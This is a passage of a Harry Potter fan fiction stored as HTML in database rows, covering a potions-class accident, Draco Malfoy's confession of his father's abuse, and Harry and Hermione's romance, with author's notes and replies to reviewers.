pulled the stopper out of the vial and poured a few drops of their potion into the vial.&nbsp; Immediately, it started fizzing and bubbling.</p>\n\n<p>&#8220;I don&#8217;t think it&#8217;s supposed to do that!&#8221; <st1:givenname>Ron</st1:givenname> said quickly.&nbsp; The potion rapidly burned a hole in the bottom of the vial and began eating away at the desk.&nbsp; <st1:givenname>Harry</st1:givenname> tried to move away, but the acidic potion had already found its way into his lap.&nbsp; </p>\n\n<p>By this time, the whole class had their eyes on <st1:givenname>Harry</st1:givenname>.&nbsp; He let out a small gasp and gritted his teeth as the potion burned a hole into his leg.&nbsp; Thankfully, Snape pulled an antidote from his robes and halted the progression of the potion any further.</p>\n\n<p>&#8220;As I said, this is a very unique and interesting potion,&#8221; Snape called out after a pouring a few drops of another ointment onto <st1:givenname>Harry</st1:givenname>&#8217;s.&nbsp; &#8220;Look down the ingredients list and the order in which they are put into the cauldron.&nbsp; Some of my brighter students&#8221;&#8212;he averted his eyes from <st1:givenname>Harry</st1:givenname> and looked at <st1:sn>Draco</st1:sn>&#8212;&#8220;should be able to see some very&#8230;singular aspects of a mistake in this potion.&#8221;</p>\n\n<p>Almost immediately after glancing down, Hermione&#8217;s hand shot up, much to Blaise&#8217;s chagrin.&nbsp; Snape rolled his eyes, but after looking around the room, finally called on Hermione.</p>\n\n<p>&#8220;It&#8217;s easy to see,&#8221; she said, trying to keep the slight arrogance out of her voice in Snape&#8217;s presence, &#8220;that leaving any ingredient out or putting one in out of order can be disastrous.&nbsp; I can see how from just one false move, you could end up with the Draught of Living Death, the Universal Antidote, or the Serum of Fire, which is what it seems like <st1:givenname>Harry</st1:givenname> and <st1:givenname>Ron</st1:givenname> created.&#8221;&nbsp; Her voice took on a lightly patronizing tone as she said <st1:givenname>Harry</st1:givenname> and <st1:givenname>Ron</st1:givenname>&#8217;s names.</p>\n\n<p>Snape helped <st1:givenname>Harry</st1:givenname> bandage his wound before scolding him about being more careful.&nbsp; He took away ten points from Gryffindor for carelessness.&nbsp; <st1:sn>Draco</st1:sn>, however, didn&#8217;t smile his usual grin of satisfaction, Hermione noticed.&nbsp; In fact, it looked as if <st1:sn>Draco</st1:sn> was irked that Snape penalized <st1:givenname>Harry</st1:givenname> for burning his leg.</p>\n\n<p>&#8220;What&#8217;s he up to?&#8221; Hermione thought to herself.&nbsp; &#8220;He&#8217;s not being the usual pain-in-the&#8212;&#8221;</p>\n\n<p>&#8220;You are dismissed,&#8221; Snape shouted.&nbsp; &#8220;Get out before another one of you burns yourself.&nbsp; You may test your potions next week when we return.&#8221;&nbsp; Everyone hurriedly gathered their books and ran out of the room, the Gryffindors especially happy to be out of Snape&#8217;s dungeon.</p>\n\n<p>&#8220;Are you alright?&#8221; Hermione asked as soon as she was able to get to <st1:givenname>Harry</st1:givenname>.</p>\n\n<p>&#8220;I&#8217;m fine,&#8221; <st1:givenname>Harry</st1:givenname> said, standing up tenderly.&nbsp; &#8220;Snape&#8217;s potion made it fine.&#8221;</p>\n\n<p>&#8220;Fine, huh?&#8221; Hermione asked, an attitude of disbelieving making itself heard in her voice.</p>\n\n<p>&#8220;What?&#8221; <st1:givenname>Harry</st1:givenname> asked.&nbsp; &#8220;You think I&#8217;d lie to you?&#8221;</p>\n\n<p>&#8220;No,&#8221; Hermione said.&nbsp; &#8220;Not you, in particular.&nbsp; I know how guys think&#8212;you wouldn&#8217;t tell your girlfriend if you fell from the top of Westminster Abbey and broke every bone in your body because you wouldn&#8217;t want her to worry.&#8221;&nbsp; <st1:givenname>Harry</st1:givenname> rolled his eyes but smiled at Hermione.&nbsp; &#8220;That&#8217;s what I thought,&#8221; she said triumphantly.&nbsp; &#8220;Let&#8217;s get you to the common room before I have to hit Arithmancy.&#8221;</p>\n\n<p>&#8220;I&#8217;m surprised <st1:sn>Draco</st1:sn> didn&#8217;t tease me about this,&#8221; <st1:givenname>Harry</st1:givenname> said when they were swiftly on their way to the Gryffindor tower.&nbsp; Hermione looked at him, glad that she wasn&#8217;t the only one who noticed.</p>\n\n<p>&#8220;He actually looked a bit ruffled at Snape today.&nbsp; Sheesh, I thought I was seeing things, but apparently not,&#8221; Hermione sighed.</p>\n\n<p>&#8220;Maybe he&#8217;s actually turning human,&#8221; <st1:givenname>Harry</st1:givenname> said, sounding more like <st1:givenname>Ron</st1:givenname> than himself.</p>\n\n<p>&#8220;No,&#8221; Hermione replied, missing his jest, &#8220;I think something&#8217;s wrong.&nbsp; I don&#8217;t know.&nbsp; I still think he&#8217;s a heartless son of a&#8212;&#8221;</p>\n\n<p>&#8220;Bitch.&#8221;</p>\n\n<p>Hermione spun around to face <st1:sn>Draco</st1:sn>, who had snuck up silently behind her.</p>\n\n<p>&#8220;I don&#8217;t remember asking you to follow us,&#8221; she said shortly, turning back toward the Gryffindor tower.</p>\n\n<p>&#8220;I don&#8217;t remember asking you to describe me in such nasty words,&#8221; <st1:sn>Draco</st1:sn> said calmly.&nbsp; &#8220;I came to give you this, Potter.&#8221;&nbsp; He reached into his robes and pulled out a small vial.&nbsp; <st1:givenname>Harry</st1:givenname> took it cautiously with a small &#8220;thanks&#8221;, but he was hesitant to find out what was inside.</p>\n\n<p>&#8220;Just use it, Potter,&#8221; <st1:sn>Draco</st1:sn> sighed impatiently.&nbsp; &#8220;It&#8217;s an ointment, but it&#8217;s more powerful than that stuff Snape gave you.&#8221;</p>\n\n<p>&#8220;Why are you giving me this?&#8221; <st1:givenname>Harry</st1:givenname> asked warily.&nbsp; He really didn&#8217;t trust anything in a vial from <st1:sn>Draco</st1:sn>.</p>\n\n<p>&#8220;Fine,&#8221; <st1:sn>Draco</st1:sn> said, reaching out to take the vial.&nbsp; Suddenly, though, he was hit by a bolt of lightning and pinned to the wall behind him.&nbsp; He let out a surprised gasp as he saw Hermione with her wand pointed at him.</p>\n\n<p>&#8220;I&#8217;m tired of your games, Malfoy,&#8221; she sneered.&nbsp; &#8220;You get away from my boyfriend with your stupid antics or I&#8217;ll curse you straight back to your first year.&#8221;&nbsp; Having sensed silence and an air of defeat from Malfoy, she continued angrily.&nbsp; &#8220;What are you up to, Malfoy?&nbsp; What&#8217;s your new game?&#8221;&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</b></p>\n\n<p>&nbsp;</p>\n\n<p>Ahhh, the plot thickens!&nbsp; I&#8217;ll have the next chapter up tomorrow, for those of you who really care to read.&nbsp; See?&nbsp; I actually have a plot now!&nbsp; Not just mindless sex!&nbsp; (Ah, damn&#8230;lol)&nbsp; Please review!</p>\n\n '),
	(208, 6, ' <p>A/N: Well, that was quite a long &#8220;tomorrow,&#8221; wasn&#8217;t it?&nbsp; Sorry, everyone, but school is now unofficially over for me!&nbsp; I&#8217;ve finished my last assignment of the year, and my other big project is over.&nbsp; (This project inspired my next story that I&#8217;ll probably be working on while I&#8217;m finishing this one, lol.&nbsp; It was also partly inspired by a songfic called &#8220;A Little Fall of Rain&#8221; that I could SWEAR was here on Portkey, but I can&#8217;t find it here anymore&#8230;it had the lyrics to the song without Eponine and Marius&#8217; names&#8230;if you can find it, tell me, please&#8230;)</p>\n\n<p>So now here&#8217;s chapter 6.&nbsp; Oh, and the reviews!</p>\n\n<p>Clair: Hmm, Hermione did change a bit that chapter&#8230;She&#8217;ll be more fluffy in this chapter, I think.</p>\n\n<p>Hermione and Harry 4Ever: Too short?&nbsp; Hehe&#8230;Working on length, lol.&nbsp; Draco starts to talk this chapter, so hold on!</p>\n\n<p>Janie: Aww, you poor thing&#8230;I was enjoying the mindless sex, too, but, oh well.</p>\n\n<p>Kat: Thank you for understanding my life.&nbsp; I go to a rigorous math and science academy thingy, so I don&#8217;t get much of a chance to write.&nbsp; The year&#8217;s almost over, though!</p>\n\n<p>MissLexiRe: Thanks for the luck&#8230; ::catches luck from air ::&nbsp; I need it, lol.</p>\n\n<p>Clyde:&nbsp; LOL, you reviewed all five chapters&#8230;not a bad thing ;)&nbsp; This story is going to be over 25 chapters; I have a plot map somewhere here, but I&#8217;m too lazy to find it.</p>\n\n<p>Caroline and TB Jab Hurts: There will be plenty more where this came from.&nbsp; Please keep reading!</p>\n\n<p>~~~~~~~~~~</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 6 ~ I Can See</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is this how you thank people for kind deeds, Granger?&nbsp; You would never understand,&#8221; Draco said coldly.&nbsp; &#8220;Just leave me be, Granger, and I&#8217;ll leave you be.&#8221;&nbsp; The usual menacing tone of his voice was gone; he truly just wanted to be alone.</p>\n\n<p>&#8220;What do you mean, leave you alone?&#8221; Harry asked.&nbsp; &#8220;You&#8217;ve been very non-Draco-ish lately.&#8221;</p>\n\n<p>&#8220;And you&#8217;re complaining&#8230;why?&nbsp; I expected you&#8217;d be happy that I&#8217;m not cursing you out at every opportunity,&#8221; he spat.&nbsp; &#8220;Quite frankly, I don&#8217;t have energy to waste on you, Potter.&nbsp; Especially on your Mudblood girlfriend and your poor-as-shit friend Weasley.&#8221;&nbsp; Draco was obviously forcing himself.&nbsp; His eyes looked tired; they had for weeks, and Harry was surprised that he had just now noticed the stress in Draco&#8217;s voice.&nbsp; &#8220;Just let me go.&nbsp; Now.&#8221;&nbsp; Hermione chose to ignore that he&#8217;d called her a Mudblood again, as well as the fact that he&#8217;d used a naughty four-letter word in describing Ron.</p>\n\n<p>&#8220;Something&#8217;s up, Malfoy.&nbsp; Tell us, or we get to see the amazing bouncing ferret again,&#8221; Hermione hissed.&nbsp; Harry was getting scared of Hermione; he&#8217;d never seen her this angry before.&nbsp; &#8220;You have until the count of three.</p>\n\n<p>&#8220;One.&#8221;&nbsp; Draco sighed offhandedly.</p>\n\n<p>&#8220;Two.&#8221;&nbsp; Harry pulled his wand out to emphasize Hermione&#8217;s point&#8212;as if it needed any more emphasis with her wand pointed straight in Malfoy&#8217;s face while he was in a body bind.</p>\n\n<p>&#8220;Fine,&#8221; Draco said only moments before Hermione was about to say, &#8220;three&#8221;.&nbsp; &#8220;My father wants me to be a Death Eater.&nbsp; Happy now?&#8221;&nbsp; He glared at him, his silver eyes like fire.&nbsp; They seemed to emit an unearthly, hoary glow in the dim corridor.</p>\n\n<p>&#8220;He wants a scout on the inside, huh?&#8221; Harry asked uncomfortably; Voldemort&#8217;s servants had indeed become more faithful over the summer.&nbsp; He wondered why Dumbledore acted as though nothing was wrong at the beginning of the year.&nbsp; There was no mention of the &#8220;old crowd&#8221;, which he&#8217;d mentioned as Harry lay in the infirmary the previous year.&nbsp; In fact, Dumbledore didn&#8217;t even let on that there was such a person as Voldemort&#8212;unless one decided to address him directly, of course.&nbsp; But why ask Dumbledore when they had a perfectly willing participant pinned to the cold stone wall?</p>\n\n<p>&#8220;Speak, boy,&#8221; Hermione commanded shortly.&nbsp; Harry almost laughed at the way her stone demeanor at that moment hid her true inner nature.&nbsp; Not wanting to ruin the tension of the moment, which was acting much to their advantage, Harry gazed steadily on Draco&#8217;s mutinous face.&nbsp; &#8220;You&#8217;d better hope Filch doesn&#8217;t find his way up here.&nbsp; Slytherins patrolling the halls around Gryffindor Tower aren&#8217;t very well accepted around here, and I&#8217;m sure Filch would be happy to see your punishment is just.&#8221;</p>\n\n<p>&#8220;I&#8217;ll take that back for her,&#8221; Harry said icily.&nbsp; &#8220;You&#8217;d better hope Filch <i>does</i> come up here, because nothing he could ever do to you would be worse than what Hermione&#8217;s got on her mind.&#8221;</p>\n\n<p>&#8220;What the hell do you want from me, then?&#8221; Draco hissed.&nbsp; Now that he&#8217;d realized the possibility of being found, he was being more cautious about his volume.</p>\n\n<p>&#8220;I want to know which part of being a Death Eater means being nicer to Harry.&#8221;</p>\n\n<p>&#8220;I&#8217;m not a Death Eater.&#8221;</p>\n\n<p>&#8220;Don&#8217;t play games with me,&#8221; Hermione said, bringing her wand within an inch of his face.</p>\n\n<p>&#8220;I&#8217;m not.&nbsp; I said my father wants me to be a Death Eater.&nbsp; I&#8217;d prefer tormenting you from afar to killing you, quite frankly.&#8221;&nbsp; Harry didn&#8217;t know whether he should find that comforting or unsettling.&nbsp; &#8220;Stop looking at me like that, Potter.&#8221;</p>\n\n<p>&#8220;Hey,&#8221; Hermione said, her wand unwavering, &#8220;I&#8217;m the one giving orders here.&#8221;&nbsp; The tone of her voice hadn&#8217;t changed, and Harry didn&#8217;t doubt that she&#8217;d curse him out&#8212;in both the verbal sense and the magical sense of the expression, as un-Hermione-like as that would be.&nbsp; Since she&#8217;d fallen in love with Harry, she&#8217;d changed&#8212;a lot.&nbsp; Harry couldn&#8217;t recall a time when it showed as much as at that moment.</p>\n\n<p>Draco sighed impatiently.&nbsp; He was scared, but he didn&#8217;t want to show it.</p>\n\n<p>&#8220;Maybe you should let up a little bit,&#8221; Harry said gently to Hermione, resting his hand comfortingly on her shoulder.&nbsp; Hermione looked at Harry while trying to suppress her anger.&nbsp; Her gaze carried with it remnants of her rage, which, although it was directed at Draco, still saturated her eyes even as she turned to Harry.</p>\n\n<p>&#8220;Harry,&#8221; she said, not knowing what to say, &#8220;I don&#8217;t trust him.&nbsp; You know I don&#8217;t, and you know <i>why</i> I don&#8217;t.&#8221;</p>\n\n<p>&#8220;But that&#8217;s no reason to have him like this.&nbsp; Please, Hermione,&#8221; Harry said gently, almost inaudibly.&nbsp; He put his hand on hers, and she slowly lowered her wand.&nbsp; She didn&#8217;t break her stare from Harry&#8217;s, emphasizing that this wasn&#8217;t what she wanted to do.</p>\n\n<p>&#8220;Understand,&#8221; she said in a whisper so that only Harry could hear, &#8220;that I&#8217;m doing this only because you requested it of me.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; Harry whispered in reply.&nbsp; Quite frankly, Harry didn&#8217;t mind if Hermione bashed Draco&#8217;s skull in; he would have done it himself, given the chance.&nbsp; Harry just worried about the ramifications of such an action.</p>\n\n<p>&#8220;Are you two going to leave me out of your conversation and just let me die here, or are you going to <i>do</i> something?&#8221; Draco spat from the wall.</p>\n\n<p>&#8220;Draco,&#8221; Harry said, surprised that he actually used Draco&#8217;s first name, &#8220;what reason do we have to believe that you&#8217;re not a Death Eater?&nbsp; We should be heading off to Dumbledore&#8217;s right now, just in case you&#8217;re&#8212;&#8221;</p>\n\n<p>&#8220;NO!&#8221; Draco shouted.&nbsp; &#8220;No, you can&#8217;t.&#8221;</p>\n\n<p>&#8220;And why not?&#8221; Hermione said curtly.</p>\n\n<p>&#8220;Because that&#8217;s the last bloody thing I need right now, Granger.&nbsp; You have no idea what that bastard of a father did to me&#8230;&#8221;&nbsp; Draco&#8217;s eyes glazed over just thinking about what a painful experience his summer had been.&nbsp; His face took on a faraway look, and Harry had to stomp his foot to drag Draco from his reverie.</p>\n\n<p>&#8220;What do you mean, what he did to you?&#8221; Hermione asked skeptically.</p>\n\n<p>&#8220;Have you ever seen the manor before?&#8221; he asked coldly.&nbsp; &#8220;Pray that you never have to.&nbsp; If I hadn&#8217;t known it as home since I was born, I wouldn&#8217;t want to live there.&nbsp; I swear there are still ghosts there, tortured to death in the dungeons in days gone by.&nbsp; The Malfoy name carries things other than gold and prestige, you know.</p>\n\n<p>&#8220;One of those things involves being devoted to&#8230;<i>him</i>.&nbsp; Turns out that my father, my mother, and all of their relatives succumbed to Voldemort&#8217;s power within weeks of his rise.&nbsp; That leaves quite a large pair of shoes for me to fill, don&#8217;t you think?&#8221;</p>\n\n<p>&#8220;I have no idea what it&#8217;s like being a Malfoy,&#8221; Hermione said shortly, &#8220;but if it involves being like you, I don&#8217;t want to know.&#8221;</p>\n\n<p>&#8220;You just don&#8217;t get it, do you, Granger?&#8221; Draco said, exasperated.&nbsp; &#8220;Pray that you never have to spend a night alone in those dungeons, hoping with all your heart that whatever malevolent specters still remain don&#8217;t steal your soul during the night.&nbsp; You think you have it bad?&nbsp; Try being me.&#8221;&nbsp; A long silence ensued.&nbsp; Hermione was drinking in Draco&#8217;s words, still skeptical of his situation.&nbsp; Harry, after having heard enough, broke the silence.</p>\n\n<p>&#8220;<i>Finite Incantatem</i>,&#8221; he said silently.&nbsp; Draco fell to the floor, his body weak from having been pressed against the wall so powerfully.&nbsp; He raised his head to glare at Hermione before standing and brushing himself off.&nbsp; He cast cursory glances at Harry and Hermione before walking off in a huff.</p>\n\n<p>&#8220;Go on ahead,&#8221; Harry said to Hermione.&nbsp; &#8220;I want to talk to Malfoy.&#8221;&nbsp; Hermione looked up at him, hesitant to let him go.&nbsp; She finally nodded and walked quickly to the Fat Lady&#8217;s portrait.</p>\n\n<p>Running as quickly as he could, Harry caught Draco as he stepped onto a moving staircase.&nbsp; The flight shifted just as Harry had stepped onto it, much to Harry&#8217;s relief.&nbsp; Draco turned to see Harry behind him as he stepped off onto a landing.</p>\n\n<p>&#8220;What the bloody hell are you doing following me, Potter?&#8221; he called out tiredly without turning to face Harry.</p>\n\n<p>&#8220;I&#8230;I wanted to apologize,&#8221; Harry stammered.&nbsp; Whatever Draco had been expecting, it certainly wasn&#8217;t that.&nbsp; Draco stopped dead in his tracks and spun around on his heel.&nbsp; He looked Harry straight in the eyes.</p>\n\n<p>&#8220;What did you say?&#8221; he asked incredulously.</p>\n\n<p>&#8220;I said I&#8217;m sorry&#8230;about what just happened,&#8221; Harry said, calmly.&nbsp; He was almost shaking; he never thought he&#8217;d be apologizing, of all things, to a Malfoy.&nbsp; &#8220;We shouldn&#8217;t have done that.&nbsp; I appreciate that you were trying to help.&#8221;</p>\n\n<p>Draco only stared at Harry, a combination of curiosity and confusion clouding his expression.</p>\n\n<p>&#8220;Why are you apologizing?&nbsp; That was the least I deserved, I suppose, after the way I&#8217;ve tormented you.&#8221;</p>\n\n<p>&#8220;Why are you getting all soft all of a sudden?&#8221; Harry asked.</p>\n\n<p>Draco chuckled uneasily.&nbsp; &#8220;After you&#8217;ve spent two months in a dungeon being tortured by your father, you really don&#8217;t need any more pain in your life, be it received or dealt.&#8221;</p>\n\n<p>&#8220;I can&#8217;t believe he&#8217;d do that to you,&#8221; Harry said in disbelief.</p>\n\n<p>&#8220;You&#8217;ve seen what he&#8217;s like,&#8221; Draco said with candor, his eyes unwavering.&nbsp; &#8220;Remember back in our second year, when you set Dobby free?&#8221;&nbsp; Harry nodded slowly, trying to recall that afternoon.&nbsp; &#8220;Do you remember what happened?&#8221;</p>\n\n<p>&#8220;Your father was about to cast a spell on me, and Dobby stopped him,&#8221; Harry said, trying to sum up what he remembered.</p>\n\n<p>&#8220;That wasn&#8217;t just a spell, Potter.&nbsp; He tried to kill you.&nbsp; But then again,&#8221; Draco said thoughtfully, &#8220;if you&#8217;ve survived <i>Avada</i><i>\n\n</i><i>Kedavra</i> once, you must have been able to survive it twice.&#8221;</p>\n\n<p>&#8220;You mean he&#8230;&#8221;&nbsp; Harry drifted off, the stark realization hitting him in his gut.&nbsp; If Lucius Malfoy would kill Harry Potter&#8212;not just any twelve-year-old boy, but <i>the</i> Harry Potter&#8212;in the Hogwarts corridors only a few yards from Dumbledore&#8217;s office, what was he capable of doing to his own son?</p>\n\n<p>&#8220;Good Merlin,&#8221; Harry whispered.</p>\n\n<p>&#8220;Forget about it,&#8221; Draco said.&nbsp; &#8220;If nobody can tell, they don&#8217;t have to know.&nbsp; That means I don&#8217;t want any of this going around.&nbsp; If I find that <i>anyone</i> knows about this, I will curse you straight through the stone walls of this castle.&#8221;</p>\n\n<p>Harry nodded uneasily.&nbsp; He felt horrible that Draco had to endure such at home; Harry had had to take the Dursleys&#8217; insults and abuse, but they were only Muggles.&nbsp; What if he&#8217;d been subjected to the same thing Draco had?&nbsp; Certainly, he wouldn&#8217;t have been The Boy Who Lived for long.</p>\n\n<p>&#8220;Good night, Harry,&#8221; Draco said quickly, turning to go to the Slytherin rooms.</p>\n\n<p>&#8220;Good night, Draco,&#8221; Harry replied.</p>\n\n<p>Harry watched Draco walk off and thoughtfully turned back to the Gryffindor tower.&nbsp; Hermione would doubtlessly be interested to know what had happened, but she&#8217;d still be horribly skeptical of Draco.&nbsp; Ron would think Harry was insane for even <i>talking</i> to Draco like a decent human being.&nbsp; Perhaps he was, but Harry was only doing what he felt was right.</p>\n\n<p>Right on cue, Ron ran up to Harry the moment he was inside the portrait hole.</p>\n\n<p>&#8220;What the blasted bloody blazes were you thinking, Harry?&#8221; he hissed.&nbsp; &#8220;No, I&#8217;ll take that back.&nbsp; <i>Were you thinking?</i>&#8221;&nbsp; Harry sighed before explaining everything.&nbsp; Ron still had that look on his face that made Harry laugh inside, but he let Harry at least get through the portrait hole all the way.</p>\n\n<p>He walked over to the fire and lazily threw himself onto a sofa.&nbsp; A startled cry made him jump up in a heartbeat; he looked down and saw Hermione where he&#8217;d just sat.</p>\n\n<p>&#8220;I&#8217;m so sorry!&#8221; he said, sitting down next to her and putting his arms around her.</p>\n\n<p>&#8220;I am, too,&#8221; Hermione said.</p>\n\n<p>&#8220;What?&nbsp; Oh&#8230;that.&nbsp; Look, I understand why you did what you did.&nbsp; Forget about it.&#8221;</p>\n\n<p>Hermione smiled at him before burying her face in his chest.&nbsp; Harry rested his chin on her silky brown hair, thankful that he had someone like Hermione.&nbsp; He didn&#8217;t like relying on people, but he felt it was mutual between them.</p>\n\n<p>&#8220;Thank you,&#8221; Hermione whispered.</p>\n\n<p>&#8220;For what?&#8221; Harry asked.</p>\n\n<p>&#8220;For stopping me before I did something stupid.&nbsp; And for being my lover.&#8221;</p>\n\n<p>Harry smiled.&nbsp; &#8220;The first, I did because I had to.&nbsp; I love you because you&#8217;re the best thing that&#8217;s ever happened to me.&#8221;&nbsp; Hermione smiled warmly back at him, pulling back from Harry&#8217;s chest to look at his beautiful emerald eyes.&nbsp; They reflected the firelight into hers, illuminating her dark, hazel eyes for Harry to see.</p>\n\n<p>He realized he&#8217;d never noticed how beautiful Hermione really was.&nbsp; He&#8217;d loved her, in the beginning, because she was intelligent, witty, brave, and loyal, not to mention that she was the best friend he&#8217;d ever had, aside from Ron.&nbsp; But now that he looked at her in the shimmering light of the fire, her eyes seemed to light up with a glow straight from heaven, and her hair seemed to him the softest thing in the world.</p>\n\n<p>&#8220;What are you thinking about?&#8221; Hermione asked, seeing the pensive look on Harry&#8217;s face.</p>\n\n<p>&#8220;Thinking about what I can see that I couldn&#8217;t before,&#8221; he said gently.&nbsp; &#8220;I love you.&#8221;</p>\n\n<p>&#8220;I love you, too,&#8221; Hermione said, wrapping her arms tightly around Harry&#8217;s body.&nbsp; &#8220;I never want to let you go.&#8221;</p>\n\n<p>&#8220;You&#8217;ll never have to,&#8221; Harry replied, feeling the gentleness of her touch around him.&nbsp; At that moment, Harry knew that if nothing else on Earth was meant to be, he was meant to be in Hermione&#8217;s arms, and she in his.</p>\n\n<p>~~~~~~~~~~</p>\n\n<p>I hope you all like it!&nbsp; I&#8217;ll try to have the next chapter up tomorrow.&nbsp; Bye for now!&nbsp; Please review!</p> '),
	(208, 7, '\n\n<p>A/N: Noooo, I&#8217;m losing readers!&nbsp; That&#8217;s cuz I don&#8217;t post much, lol.&nbsp; Well, here&#8217;s chapter 7.&nbsp; This one&#8217;s gonna be interesting.</p>\n\n<p>Clyde:&nbsp; Yeah, I&#8217;m quite ambitious&#8230;I just have to actually write all the chapters I say I will, lol.</p>\n\n<p>*Sophie*: Feel sorry for Draco?&nbsp; Eh, not exactly what I was aiming for, but ok :)</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>~~~~~~~~~~</b></p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Chapter 7 ~ The Shadows of Death</b></p>\n\n<p>&nbsp;</p>\n\n<p>For the next few weeks, Draco left Harry, Ron, and Hermione alone, and they reciprocated the action&#8230;or lack thereof.&nbsp; If it weren&#8217;t for the constant reminder that Malfoys hated Potters and Potters hated Malfoys by nature, no one would ever have known, just looking at them, that they were more friends than enemies.</p>\n\n<p>Even Hermione seemed to be getting along quite well with Draco.&nbsp; She&#8217;d helped him out with an astronomy essay he&#8217;d had to write (astronomy wasn&#8217;t his forte, but Hermione always found the stars perpetually fascinating), and since she had no need for help in school, he&#8217;d helped Harry in return with a potions assignment for Snape.&nbsp; All in all, things were going quite well.</p>\n\n<p>&#8220;&#8217;Lo, Harry,&#8221; Draco called as he saw Harry walking down the hall.</p>\n\n<p>&#8220;Good morning,&#8221; Harry said.&nbsp; He still was somewhat uncomfortable with what was going on (or what was <i>not</i> going on), but a few weeks&#8217; time had made most of his fears and skepticism subside.&nbsp; They passed each other, both going to different classes, with half-smiles on their faces.</p>\n\n<p>That night, in the Gryffindor common room, Hermione confronted Harry about the situation with Draco.</p>\n\n<p>&#8220;Harry, I know he seems better, but what if he lied to us?&nbsp; What if he really is a Death Eater and he&#8217;s just trying to win your confidence?&#8221;</p>\n\n<p>&#8220;Hermione,&#8221; Harry said tersely, &#8220;even Draco can&#8217;t lie that well.&nbsp; I know kindness when I see it, especially after living with the Dursleys for so long.&#8221;</p>\n\n<p>&#8220;But Harry,&#8221; Hermione sighed, &#8220;you must admit that this is very different.&nbsp; I wouldn&#8217;t take it as casually as you are.&#8221;</p>\n\n<p>&#8220;Haven&#8217;t you ever considered that all he needed was a few friends?&nbsp; I mean, I know how it is to be a loner&#8230;&#8221;&nbsp; Harry glanced downward, remembering how bad his childhood had been.</p>\n\n<p>&#8220;What about Crabbe and Goyle?&#8221; Hermione asked, a bit piqued.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Hermione, I don&#8217;t think they can even <i>spell</i> friend.&#8221;&nbsp; This elicited a small laugh from Hermione, but regaining her usual composure, it was followed by a stern glare.&nbsp; &#8220;Oh, come on,&#8221; Harry urged.</p>\n\n<p>&#8220;Fine,&#8221; Hermione said.&nbsp; &#8220;For once, I suppose you&#8217;re right&#8230;&#8221;</p>\n\n<p>&#8220;That&#8217;s better,&#8221; Harry said.&nbsp; He reached out to wrap his arms around Hermione, but she beat him to it.</p>\n\n<p>&#8220;But I&#8217;m right from now on,&#8221; she said, breathing in his warm scent.</p>\n\n<p>&#8220;Oh, fine,&#8221; Harry sighed.&nbsp; He pulled Hermione closer to his chest.</p>\n\n<p>&#8220;Bloody hell,&#8221; they both heard from the stairway.&nbsp; They broke apart and turned just in time to see Ron, who was just walking down the steps into the common room from the dormitories, rolling his eyes and turning to go back to the dorms.&nbsp; &#8220;Not again,&#8221; he sighed, shaking his head at them as he left.</p>\n\n<p>&#8220;Ron,&#8221; Harry yelled, &#8220;I think we need to get <i>you</i> a girlfriend, too!&#8221;&nbsp; All they heard was a loud &#8220;HAH!&#8221; of disbelief from the stairwell as Ron disappeared.</p>\n\n<p>&#8220;Who did you have in mind?&#8221; Hermione asked him in jest.</p>\n\n<p>&#8220;I dunno,&#8221; Harry said innocently.&nbsp; Hermione could tell he wasn&#8217;t telling her something, but she really didn&#8217;t want to know.&nbsp; &#8220;It&#8217;s okay, Ron,&#8221; Harry called out, &#8220;We&#8217;re not&#8230;&#8221;&nbsp; Hermione stopped him before he gave any incriminating evidence.</p>\n\n<p>Ron came trudging down the stairs with a wary glance around the corner before he stepped into the common room.</p>\n\n<p>&#8220;Would you two at least warn me before you lose your little vir&#8212;&#8221;&nbsp; He was cut off by a large slap from Hermione.&nbsp; &#8220;Fine, then.&nbsp; Just let me walk in on you like that and scar my poor, innocent mind.&#8221;</p>\n\n<p>Hermione muttered something that sounded remarkably like &#8220;<i>bullshit</i>&#8221;, but neither Harry nor Ron heard her.&nbsp; Harry, Ron, and Hermione talked long into the night.&nbsp; Since the events of the Triwizard Tournament, they hadn&#8217;t had shared in their usual banter in the evenings.&nbsp; They conversed in mirth until the moon&#8217;s silver rays shone through the tall windows of the common room before retiring into their four-posters.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco, Harry, Ron, and Hermione actually struck up an acceptable camaraderie throughout the next week.&nbsp; No snide comments passed between the two parties, and they even helped each other out in their weaker subjects.</p>\n\n<p>Draco hadn&#8217;t completely won Harry over.&nbsp; Harry was still wary, despite Draco&#8217;s half-smiles that he returned as they passed each other.&nbsp; He could see that his feelings were reciprocated; Hermione was the only one who really jumped right into friendship with her former enemy.&nbsp; Even Ron was keeping his distance to some extent, though Draco had helped him come up with some rather gruesome deaths for Trelawney&#8217;s latest assignment.</p>\n\n<p>One morning, though, Professor McGonagall came into the common room before breakfast to announce a trip to Hogsmeade for the day.&nbsp; Apparently, it wasn&#8217;t planned, but Snape, Flitwick, Trelawney, Vector, and Sinistra had been called away to the Ministry of Magic on a sudden meeting (from what Harry heard from McGonagall, it was something about a new standard of some sort).&nbsp; They hadn&#8217;t planned to go, so no substitute teachers were able to be instated in time for their leave.&nbsp; In need of a way to occupy the students, the teachers sent them off to Hogsmeade for the day. </p>\n\n<p>Harry recalled that this would be the first time they&#8217;d gone to Hogsmeade using a legitimate form of transportation&#8212;no invisibility cloak, no hidden passages, just the Hogwarts carriages.&nbsp; The carriages were painted a lush purple and had, of course, the Hogwarts coat of arms in about half a dozen places.</p>\n\n<p>The three climbed in easily.&nbsp; After reaching the station at Hogsmeade, their first stop was the Three Broomsticks.&nbsp; Madam Rosmerta was happy as ever to see some familiar faces from Hogwarts, and gave them three drinks on the house.</p>\n\n<p>&#8220;Hey,&#8221; Ron said to Harry after a long sip of butterbeer, &#8220;isn&#8217;t that Malfoy over there?&#8221;&nbsp; Harry and Hermione followed his gesture, and saw that it was, in fact, Draco, sitting alone in a corner, as Crabbe and Goyle hadn&#8217;t been able to go on the basis of bad marks.</p>\n\n<p>Hermione, seeing that Harry and Ron had no intention of doing so, got up and invited Malfoy to sit with them.&nbsp; He vacillated for a moment before deciding to join them.&nbsp; Ron good-naturedly pulled up a chair from an 